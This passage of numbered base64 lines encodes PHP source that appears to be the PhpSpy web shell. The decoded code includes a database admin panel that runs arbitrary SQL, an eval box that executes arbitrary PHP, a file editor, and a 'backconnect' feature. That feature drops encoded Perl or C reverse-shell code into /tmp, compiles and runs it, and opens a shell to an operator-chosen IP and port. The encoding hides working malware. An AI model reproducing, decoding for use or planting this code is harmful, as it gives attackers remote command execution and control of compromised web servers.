  576. dHI+Jyk7DQoJCQkJCX0NCgkJCQkJdGJmb290KCk7DQoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAn
  577. aW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7DQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENP
  578. TFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNo
  579. X2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJ
  580. JHJzID0gYXJyYXkoKTsNCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgn
  581. PGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4n
  582. KTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxl
  583. bmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29k
  584. ZSgkYmFzZTY0KTsNCgkJCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUg
  585. V0hFUkUgJHdoZXJlIExJTUlUIDEiKTsNCgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRy
  586. ZXN1bHQpOw0KCQkJCQl9DQoJCQkJCXAoJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRz
  587. ZWxmLiciPicpOw0KCQkJCQlwKCRkYmZvcm0pOw0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3Fs
  588. YWRtaW4nKTsNCgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7DQoJCQkJCXAo
  589. Jzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJ
  590. CQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxk
  591. J11dKSB7DQoJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQn
  592. XV0pOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkdmFsdWUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJ
  593. CSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3Vz
  594. ZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NO
  595. YW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQn
  596. XS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFy
  597. ZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBw
  598. eDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48
  599. L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAo
  600. Jzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0
  601. eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7
  602. DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bh
  603. bj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVl
  604. PSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNl
  605. NjQpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KCQkJCX0gZWxzZSB7DQoJ
  606. CQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoJCQkJCWZvcmVhY2goJHF1
  607. ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCgkJCQkJCWlmICgkcXVlcnkpIHsNCgkJCQkJCQlwKCI8
  608. cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMp
  609. LiI8L2I+PC9wPiIpOw0KCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQ0KCQkJCQkJCXsNCgkJCQkJ
  610. CQkJY2FzZSAwOg0KCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gy
  611. PicpOw0KCQkJCQkJCQkJYnJlYWs7CQ0KCQkJCQkJCQljYXNlIDE6DQoJCQkJCQkJCQlpZiAoc3Ry
  612. dG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsNCgkJCQkJ
  613. CQkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICgkZ2V0bnVtc3Fs
  614. KSB7DQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoJ
  615. CQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFi
  616. bGVuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KCQkJCQkJ
  617. CQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJh
  618. eSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCgkJCQkJ
  619. CQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIg
  620. IiwgJHNxbF9saW5lKTsNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0o
  621. W1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJJHRhYmxl
  622. bmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHJlc3VsdCA9IHEo
  623. JHF1ZXJ5KTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlwKCc8dGFibGUgYm9y
  624. ZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQkJCQkJcCgn
  625. PHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0
  626. aW9uPC90ZD4nKTsNCgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1
  627. bHQpOw0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KCQkJCQkJCQkJCSRu
  628. YW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSR0eXBlID0g
  629. QG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxf
  630. ZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJy
  631. PjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlw
  632. KCc8L3RyPicpOw0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1
  633. bHQpKXsNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9
  634. IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25t
  635. b3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQkJCQkJCQkJ
  636. JHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOw0KCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9
  637. PiRpbnNpZGUpew0KCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgew0KCQkJCQkJCQkJCQkJJHdoZXJl
  638. IC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOw0KCQkJCQkJCQkJCQkJ
  639. JHRtcCA9ICcgQU5EICc7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93
  640. cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOw0KCQkJCQkJCQkJCX0NCgkJ
  641. CQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7DQoJCQkJCQkJCQkJaWYgKCRh
  642. bGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwn
  643. ZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwg
  644. PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBc
  645. JycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJcCgkYjEpOw0K
  646. CQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCgkJCQkJCQkJCX0N
  647. CgkJCQkJCQkJCXRiZm9vdCgpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCWJy
  648. ZWFrOwkNCgkJCQkJCQkJY2FzZSAyOg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93
  649. cygpOw0KCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+
  650. Jyk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJ
  651. CQl9IGVsc2Ugew0KCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHRh
  652. YmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoJCQkJJHRhYmxlZGIgPSBh
  653. cnJheSgpOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsN
  654. CgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoJ
  655. CQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsNCgkJCQkJJHRh
  656. YmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7DQoJ
  657. CQkJCSR0YWJsZV9udW0rKzsNCgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsNCgkJCQl9DQoJCQkJ
  658. JGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCgkJCQl1bnNldCgkdGFibGUpOw0K
  659. CQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+
  660. Jyk7DQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJ
  661. CQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJcCgkZGJmb3JtKTsNCgkJCQlw
  662. KCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50
  663. ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xp
  664. Y2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TmFtZTwvdGQ+
  665. Jyk7DQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+
  666. Jyk7DQoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkYXRlX3Rp
  667. bWU8L3RkPicpOw0KCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4n
  668. KTsNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7
  669. DQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCgkJCQkJJHRoaXNi
  670. ZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0
  671. aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycu
  672. JHRoaXNiZy4nXCc7Ij4nKTsNCgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+
  673. PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05h
  674. bWUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRh
  675. YmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPiBbIDxh
  676. IGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdpbnNl
  677. cnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRh
  678. YmxlWydOYW1lJ10uJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVm
  679. PSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnZHJvcFwnKTsi
  680. PkRyb3A8L2E+IF08L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4n
  681. KTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KCQkJCQlw
  682. KCc8dGQ+Jy4kdGFibGVbJ0NyZWF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0
  683. YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJ
  684. CQlwKCc8dGQ+Jy4kdGFibGVbJ0VuZ2luZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHRh
  685. YmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RyPicpOw0KCQkJ
  686. CX0NCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+
  687. Jyk7DQoJCQkJcCgnPHRkPlRvdGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOw0KCQkJ
  688. CXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUu
  689. JzwvdGQ+Jyk7DQoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZu
  690. YnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoIjx0ciBjbGFzcz1cIiIuYmco
  691. KS4iXCI+PHRkIGNvbHNwYW49XCIiLigkaGlnaHZlciA/IDggOiA2KS4iXCI+PGlucHV0IG5hbWU9
  692. XCJzYXZlYXNmaWxlXCIgdmFsdWU9XCIxXCIgdHlwZT1cImNoZWNrYm94XCIgLz4gU2F2ZSBhcyBm
  693. aWxlIDxpbnB1dCBjbGFzcz1cImlucHV0XCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiIuU0FfUk9P
  694. VC4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9NeVNRTC5zcWxcIiB0eXBlPVwidGV4dFwiIHNpemU9
  695. XCI2MFwiIC8+IDxpbnB1dCBjbGFzcz1cImJ0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJkb3du
  696. cmFyXCIgdmFsdWU9XCJFeHBvcnQgc2VsZWN0aW9uIHRhYmxlXCIgLz48L3RkPjwvdHI+Iik7DQoJ
  697. CQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsNCgkJCQlmb3JtZm9vdCgpOw0KCQkJ
  698. CXAoIjwvdGFibGU+Iik7DQoJCQkJZnIoJHF1ZXJ5KTsNCgkJCX0NCgkJfQ0KCX0NCgl0YmZvb3Qo
  699. KTsNCglAbXlzcWxfY2xvc2UoKTsNCn0vL2VuZCBzcWwgYmFja3VwDQoNCg0KZWxzZWlmICgkYWN0
  700. aW9uID09ICdiYWNrY29ubmVjdCcpIHsNCgkhJHlvdXJpcCAmJiAkeW91cmlwID0gJF9TRVJWRVJb
  701. J1JFTU9URV9BRERSJ107DQoJISR5b3VycG9ydCAmJiAkeW91cnBvcnQgPSAnMTIzNDUnOw0KCSR1
  702. c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsNCg0KCSRiYWNrX2Nvbm5lY3Q9
  703. Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdp
  704. T3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiLg0KCQkiYUc4Z0lt
  705. QnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYw
  706. N0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuDQoJ
  707. CSJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlky
  708. dGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0
  709. aUtUIi4NCgkJInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpi
  710. Mk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktT
  711. QjhmQ0JrYVdVb0kiLg0KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRG
  712. VkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVS
  713. RWxPTENBaVBpWlRUME5MUlZRaSIuDQoJCSJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBO
  714. TFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2dr
  715. YzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4NCgkJIk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZD
  716. azdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFa
  717. R1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVky
  718. eDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLg0KCQkiQnRZV2x1S0dsdWRDQmhjbWRq
  719. TENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZ
  720. V1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuDQoJCSJTQXRaaUFpT3lB
  721. TkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3
  722. RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkIi4NCgkJIktT
  723. azdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pG
  724. ZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoi
  725. Lg0KCQkic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxD
  726. QlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldO
  727. MEtHWmtMQyIuDQoJCSJBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZa
  728. aWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1ky
  729. OXVibVZqZENncElpazdEIi4NCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFv
  730. Y20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJ
  731. REFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLg0KCQkiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdW
  732. NFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3
  733. SUEwS2ZRPT0iOw0KDQoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNl
  734. KXsNCgkJaWYgKCR1c2UgPT0gJ3BlcmwnKSB7DQoJCQljZignL3RtcC9hbmdlbF9iYycsJGJhY2tf
  735. Y29ubmVjdCk7DQoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9i
  736. YyAkeW91cmlwICR5b3VycG9ydCAmIik7DQoJCX0gZWxzZSB7DQoJCQljZignL3RtcC9hbmdlbF9i
  737. Yy5jJywkYmFja19jb25uZWN0X2MpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2Fu
  738. Z2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOw0KCQkJQHVubGluaygnL3RtcC9hbmdlbF9iYy5jJyk7
  739. DQoJCQkkcmVzID0gZXhlY3V0ZSgiL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7
  740. DQoJCX0NCgkJbSgiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAkeW91cmlwIHBvcnQgJHlvdXJw
  741. b3J0IC4uLiIpOw0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidCYWNrIENvbm5lY3Qn
  742. KSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2JhY2tjb25uZWN0Jyk7DQoJcCgnPHA+Jyk7DQoJcCgn
  743. WW91ciBJUDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cmlwJywnc2l6ZSc9PjIw
  744. LCd2YWx1ZSc9PiR5b3VyaXApKTsNCglwKCdZb3VyIFBvcnQ6Jyk7DQoJbWFrZWlucHV0KGFycmF5
  745. KCduYW1lJz0+J3lvdXJwb3J0Jywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiR5b3VycG9ydCkpOw0KCXAo
  746. J1VzZTonKTsNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2Vk
  747. Yiwnc2VsZWN0ZWQnPT4kdXNlKSk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N0YXJ0Jywn
  748. dmFsdWUnPT4nU3RhcnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOw0KCXAoJzwv
  749. cD4nKTsNCglmb3JtZm9vdCgpOw0KfS8vZW5kIHNxbCBiYWNrdXANCg0KZWxzZWlmICgkYWN0aW9u
  750. ID09ICdldmFsJykgew0KCSRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7DQoJaWYoJHBocGNvZGUp
  751. ew0KCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsNCgkJCSRwaHBjb2Rl
  752. ID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOw0KCQl9DQoJCWV2YWwoIj8iLiI+JHBocGNv
  753. ZGU8PyIpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsN
  754. CgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidQ
  755. SFAgQ29kZScsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7DQoJcCgnPHA+
  756. PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2Js
  757. YW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGV2YWwN
  758. Cg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCglpZihmaWxlX2V4aXN0cygkb3Bm
  759. aWxlKSkgew0KCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsNCgkJJGNvbnRlbnRzPUBmcmVhZCgk
  760. ZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCgkJQGZjbG9zZSgkZnApOw0KCQkkY29udGVudHM9aHRt
  761. bHNwZWNpYWxjaGFycygkY29udGVudHMpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4n
  762. Q3JlYXRlIC8gRWRpdCBGaWxlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFr
  763. ZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVu
  764. dCBGaWxlIChpbXBvcnQgbmV3IGZpbGUgbmFtZSBhbmQgbmV3IGZpbGUpJywnbmFtZSc9PidlZGl0
  765. ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZXRleHQoYXJy
